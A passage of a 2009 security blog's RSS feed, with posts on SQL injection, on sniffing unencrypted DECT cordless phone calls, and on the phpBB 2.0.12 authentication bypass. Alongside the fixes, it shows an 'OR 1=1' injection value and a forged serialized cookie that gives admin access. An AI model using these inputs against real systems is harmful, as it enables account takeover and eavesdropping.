Our articleID is used again as well, but in this case the resulting query becomes something like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;UPDATE articles SET hitcount=1338 WHERE articleID=1234 OR 1=1&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;This will set the hitcount to 1338, but instead for just just article 1234, it changes it for all articles in the table, not what we intended to do! Of course this is in most cases a relatively harmless scenario (and an example of lousy software engineering), but had our articleID been used in a DELETE statement, all articles would have been deleted from the table.&lt;br /&gt;&lt;br /&gt;In the &lt;a href="http://blog.teusink.net/2009/01/why-you-should-not-use-or-11-when.html"&gt;next part&lt;/a&gt; of this article, I will describe an alternative approach.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-4083950410542550481?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/6k1RABPUNkY/everybody-who-has-read-paper-on-sql.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.teusink.net/2009/01/everybody-who-has-read-paper-on-sql.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-2583519169708436092</guid><pubDate>Sun, 25 Jan 2009 21:06:00 +0000</pubDate><atom:updated>2009-01-25T22:09:45.325+01:00</atom:updated><title>My DECT handset actually wants to encrypt!</title><description>I had the opportunity to test some more DECT phones and interception worked great on most of them. A friend’s Siemens Gigaset 4010 and a Panasonic 720 both did not encrypt conversations and were easy to eavesdrop on.&lt;br /&gt;&lt;br /&gt;When I got to another friend’s house, it was a different story. He had two DECT handsets, a Profoon (similar to the one without encryption I own) and a &lt;a href="http://gigaset.com/shc/0,1935,hq_en_0_133394_rArNrNrNrN,00.html"&gt;Siemens C455 IP&lt;/a&gt;. The C455 is very similar to the C475 listed on &lt;a href="https://dedected.org/trac/wiki/ListOfPhones"&gt;dedected.org&lt;/a&gt; which uses encryption, so I expected this one to encrypt as well. It did use encryption, the only audio I got was static. I was surprised to see (or hear) however, that his Profoon used encryption as well. It turned out he did not use the base station which came with the Profoon handset, he had instead paired the handset with the C455 base station.&lt;br /&gt;&lt;br /&gt;I had brought my own Profoon handset and base station so we decided to pair it with the C455 base station as well to see if it would encrypt. It turns out it did! So what I bought is a handset which does support encryption, but a base station which refuses to encrypt. To confirm this we paired his C455 handset with my base station and as expected, no encryption. I knew to use encryption, both the handset and base station need to support it, but I did not expect they would be selling ‘incompatible’ combinations. It does make sense though, the manufacturers probably just buy the cheapest chipset for both the handset and base station. As there is a standard, they have no problems communicating, but the manufacturer might not even realize they are unable to encrypt.&lt;br /&gt;&lt;br /&gt;This fact could make mitigating the vulnerability a bit easier. A large organisation with a lot of DECT handsets may not need to replace their entire DECT system, but may be able to keep either the base stations or the handsets. So in my opinion, the &lt;a href="https://dedected.org/trac/wiki/ListOfPhones"&gt;ListOfPhones&lt;/a&gt; on dedected.org could use another column: whether the lack of encryption on certain sold combinations is caused by the phone, the base station or both.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-2583519169708436092?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/duhaigKyWTM/my-dect-handset-actually-wants-to.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/01/my-dect-handset-actually-wants-to.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7738193394498396834</guid><pubDate>Wed, 14 Jan 2009 18:54:00 +0000</pubDate><atom:updated>2009-01-15T10:17:52.656+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">sniffing</category><category domain="http://www.blogger.com/atom/ns#">dedected</category><category domain="http://www.blogger.com/atom/ns#">DECT</category><title>More on DECT sniffing and attacks</title><description>The &lt;a href="https://dedected.org/cgi-bin/trac.cgi/blog/type_III_support_upcoming"&gt;dedected blog&lt;/a&gt; reports the COM-ON-AIR Type II cards are practically sold out, so they are working on supporting the older (less compatible) Type III cards. I took a look on eBay and only Type III and PCI cards are available right now. Looking at the ended auctions, it seems that (in the last two weeks ) over 700 Type II cards have been sold on eBay!&lt;br /&gt;&lt;br /&gt;Patches are now available on the &lt;a href="http://lists.gnumonks.org/pipermail/dedected/2009-January/000181.html"&gt;dedected mailing-list&lt;/a&gt; which allow capturing directly to audio files. So no more converting captured calls. These should be integrated into the main SVN soon (apparently there are some &lt;a href="http://lists.gnumonks.org/pipermail/dedected/2009-January/000182.html"&gt;licensing issues&lt;/a&gt;). I did not have a chance to test the patches  so far.  A draft of the paper detailing the attacks and the DSAA algorithm is also available on the dedected wiki: &lt;a href="https://dedected.org/cgi-bin/trac.cgi/attachment/wiki/DSAA-Analysis/Attacks%20on%20the%20DECT%20authentication%20mechanisms.pdf"&gt;Attacks on the DECT authentication mechanisms&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Finally, the DECT forum has &lt;a href="http://dect.org/news.aspx?id=41"&gt;reacted&lt;/a&gt; on the possibility of DECT eavesdropping. They state this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"It is impossible to accidentally eavesdrop on telephone conversations and therefore the risk for users is very low. Only those with a clear criminal energy and intent and a sophisticated knowledge would be capable of eavesdropping."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can’t say I agree with them. Yes, of course eavesdropping on other people’s phone calls is illegal and it should be, but with the tools dedected has created it is certainly not hard to do so. I'm not interested in my neighbours phone calls, but a lot of people probably are. Just look at the number of cards sold on eBay, these can’t  all be nice pentesters with good intentions :-).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; I have tested the patch for capturing directly to audio files. The dect_cli tool does store .wav files as well as .pcap files now. With my handset, the files are sometimes empty (well, their size is 44 bytes) though, while they shouldn't be. When it does work, the .wav files are quite nice, but with my handset, the volume still turns out quite low. A bit of amplification using &lt;a href="http://audacity.sourceforge.net"&gt;Audacity&lt;/a&gt; works well though.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7738193394498396834?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/dnRZUAQ3iIA/more-on-dect-sniffing-and-attacks.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/01/more-on-dect-sniffing-and-attacks.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-1808881427316839270</guid><pubDate>Tue, 13 Jan 2009 19:34:00 +0000</pubDate><atom:updated>2009-01-14T22:18:36.180+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">sniffing</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">dedected</category><category domain="http://www.blogger.com/atom/ns#">DECT</category><title>Sniffing DECT</title><description>A couple of weeks ago, at the CCC congress in Germany, a couple of guys gave a &lt;a href="http://events.ccc.de/congress/2008/Fahrplan/events/2937.en.html"&gt;presentation&lt;/a&gt; about attacks on DECT cordless phones. Basically, you can buy a DECT PCMCIA card and create a rogue base station (tunnel the calls through a VOIP gateway while you record them) or intercept unencrypted phone calls.&lt;br /&gt;&lt;br /&gt;Indeed, some of the DECT phones use no encryption at all. DECT phones are supposed to use the DECT Standard Cipher (DSC) but some just do not (maybe encryption is optional in the DECT standard?). The presenters have a website at &lt;a href="https://dedected.org/cgi-bin/trac.cgi"&gt;dedected.org&lt;/a&gt; which describes some more technical details.&lt;br /&gt;&lt;br /&gt;I decided to buy a &lt;a href="https://dedected.org/cgi-bin/trac.cgi/wiki/COM-ON-AIR"&gt;COM-ON-AIR DECT PCMCIA card&lt;/a&gt; on eBay and it arrived today! The people at dedected.org have created Linux drivers for this card and it was pretty easy to get it working on my Ubuntu laptop.&lt;br /&gt;&lt;br /&gt;The dedected SVN includes patches for Kismet-newcore (DECT module) and Wireshark, but also include a couple of handy standalone tools. One of these is called dect_cli. With this tool you can scan for DECT base stations, calls and even record calls. I’ve put some sample output of this tool &lt;a href="http://www.teusink.net/dect_cli.txt"&gt;here&lt;/a&gt; (the call I am sniffing is my own).&lt;br /&gt;&lt;br /&gt;I also went to a hardware store (GAMMA) this evening and bought the cheapest DECT phone (Profoon &lt;a href="http://www.goomla.com/nl/product/00235-00231945/profoon-pdx-500.html"&gt;PDX-500&lt;/a&gt;) so I could play around with it. The box says ‘GAP compatible DECT digital’. I do not have a working landline at the moment so I had to try it without one. This phone, as it turns out, does not use encryption. After recording the call, I could hear myself faintly saying ‘hello hello hello’ (not in a very creative mood), albeit with a lot of static. I’ll try to get my hands on some more DECT phones, I’m curious how many of the phones sold in the Netherlands do not use encryption.&lt;br /&gt;&lt;br /&gt;I did not get a clear sound with the current tools. According to the dedected wiki this is something they are still working on. You can listen to a bit of music-over-DECT (and a lot of static) I recorded &lt;a href="http://www.teusink.net/garbage.ima.wav"&gt;here&lt;/a&gt; (raw dump files &lt;a href="http://www.teusink.net/dect.zip"&gt;here&lt;/a&gt;). I simply used sox without any options to convert it to .wav, but there is a 'modified decode' on the dedected wiki which should result in somewhat better quality. In my case, using this filter resulted in a lot of silence but the beeps at the end of the file were very clear :-).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; I got the opportunity to test this with another DECT phone. Combined with the 'modified decode' I was able to get really good sound quality.&lt;br /&gt;Also, it turns out that encryption is optional in the DECT standard, as &lt;a href="http://www.dect.org/userfiles/file/General%5CDECT%20Background/DECT_Technical%20Document_1997.pdf"&gt;this document&lt;/a&gt; (pdf) from the DECT Forum describes (on page 11).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-1808881427316839270?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/pmy0-6oe7yQ/sniffing-dect.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/01/sniffing-dect.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6399059476479458024</guid><pubDate>Tue, 16 Dec 2008 19:31:00 +0000</pubDate><atom:updated>2008-12-17T20:16:44.127+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">phpbb</category><category domain="http://www.blogger.com/atom/ns#">classic</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Classic bug: phpBB 2.0.12 authentication bypass</title><description>December is always a very busy month at work, so it has been a while since my last post. Here's another classic bug: the phpBB 2.0.12 authentication bypass. I am not sure who discovered this bug, but the first references to it seem to be from February 2005.&lt;br /&gt;&lt;br /&gt;As the title says, this is an authentication bypass bug, which means an attacker can access any account on a vulnerable phpBB version without knowing the password. This is not your typical web application bug though, it has to do with serialization and you could patch it by adding only one byte to the vulnerable code.&lt;br /&gt;&lt;br /&gt;So how does it work? A phpBB forum has a ‘remember me’ function, which basically gives you a cookie which automatically logs you in. The cookie looks something like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;a:2:{s:11:"autologinid";s:32:"96948aad3fcae80c08a35c9b5958cd89";s:6:"userid";s:4:"3207";}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This format is created by the PHP &lt;a href="http://nl.php.net/serialize"&gt;serialize&lt;/a&gt; function. Basically, it is a technique to store a complex structure into a string. If we &lt;a href="http://nl.php.net/unserialize"&gt;unserialize&lt;/a&gt; the above example, we get this (&lt;a href="http://nl.php.net/print_r"&gt;print_r&lt;/a&gt; output):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Array&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [autologinid] =&gt; 96948aad3fcae80c08a35c9b5958cd89&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [userid] =&gt; 3207&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So our cookie is used to store an array containing two strings: our userid and something called an ‘autologinid’. As it turns out, the autologinid is just an MD5 hash of the phpBB password. Not such a good idea, as this makes phpBB vulnerable to passing-the-hash attacks. phpBB 3 doesn’t use this type of cookie anymore though.&lt;br /&gt;&lt;br /&gt;The bug is in this part of the phpBB source code (simplified):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    $sessiondata = unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename]));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if( $sessiondata['autologinid'] == $userdata['user_password'] ){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // autologinid matches password&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    $login = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Doesn’t look that bad does it? After unserializing the data, It simply compared the autologinid in our session with the MD5 of the user’s password. They use the == operator to compare two strings, nothing wrong with that. But what if one of the operands in the comparison is not a string? Take for example the following PHP code:&lt;br /&gt;&lt;br /&gt;if(true == ‘96948aad3fcae80c08a35c9b5958cd89’){&lt;br /&gt;  echo ‘true!’;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;You may not expect it, but this piece of code outputs ‘true!’. PHP simply converts the string to a boolean and unless the string is empty or ‘0’ PHP will convert it to ‘true’. So what does this have to do with our vulnerability? Let’s take another look at a part of our serialized cookie:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;s:32:"96948aad3fcae80c08a35c9b5958cd89"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Our MD5 hash is prefixed with s:32:, which means this variable is a string with a length of 32. So instead of just specifying the string itself, we also specify its type! The trick is to simply change this part of our cookie to:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    b:1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Which makes our cookie:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    a:2:{s:11:"autologinid";b:1;s:6:"userid";s:4:"3207";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For the unserialize function, this simply means: the value of autologinid is a boolean with the value ‘true’. The next step is to change our cookie on the forum to this one. The forum will compare the password hash of the user with userid 3207 to ‘true’, tricking phpBB into thinking we have the actual password hash! A logical next step would be to change the userid to '1', which is the userid of the forum administrator user, giving us full control over the forum.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.phpbb.com/community/viewtopic.php?f=14&amp;amp;t=267563"&gt;patch&lt;/a&gt; for this vulnerability whas a simple one. The phpBB team simply changed the line:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;if( $sessiondata['autologinid'] == $userdata['user_password'] ){&lt;/span&gt;&lt;br /&gt;to&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;if( $sessiondata['autologinid'] === $userdata['user_password'] ){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In other words, they switched from the &lt;span style="font-family:courier new;"&gt;== &lt;/span&gt;to the &lt;span style="font-family:courier new;"&gt;=== &lt;/span&gt;operator. The &lt;a href="http://nl.php.net/manual/en/language.operators.comparison.php"&gt;PHP manual&lt;/a&gt; has the following description for the &lt;span style="font-family:courier new;"&gt;=== &lt;/span&gt;operator: “TRUE if $a is equal to $b, and they are of the same type.”. The fix was this simple, by changing the operator, the two compared types have to be equal, so an attacker can no longer supply a boolean instead of a string and bypass authentication.&lt;br /&gt;&lt;br /&gt;The moral of this story? Every piece of input is important, don’t allow users to supply serialized data, unless absolutely necessary!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-6399059476479458024?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/3SEOjND9YT0/classic-bug-phpbb-2012-authentication.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2008/12/classic-bug-phpbb-2012-authentication.html</feedburner:origLink></item></channel></rss>
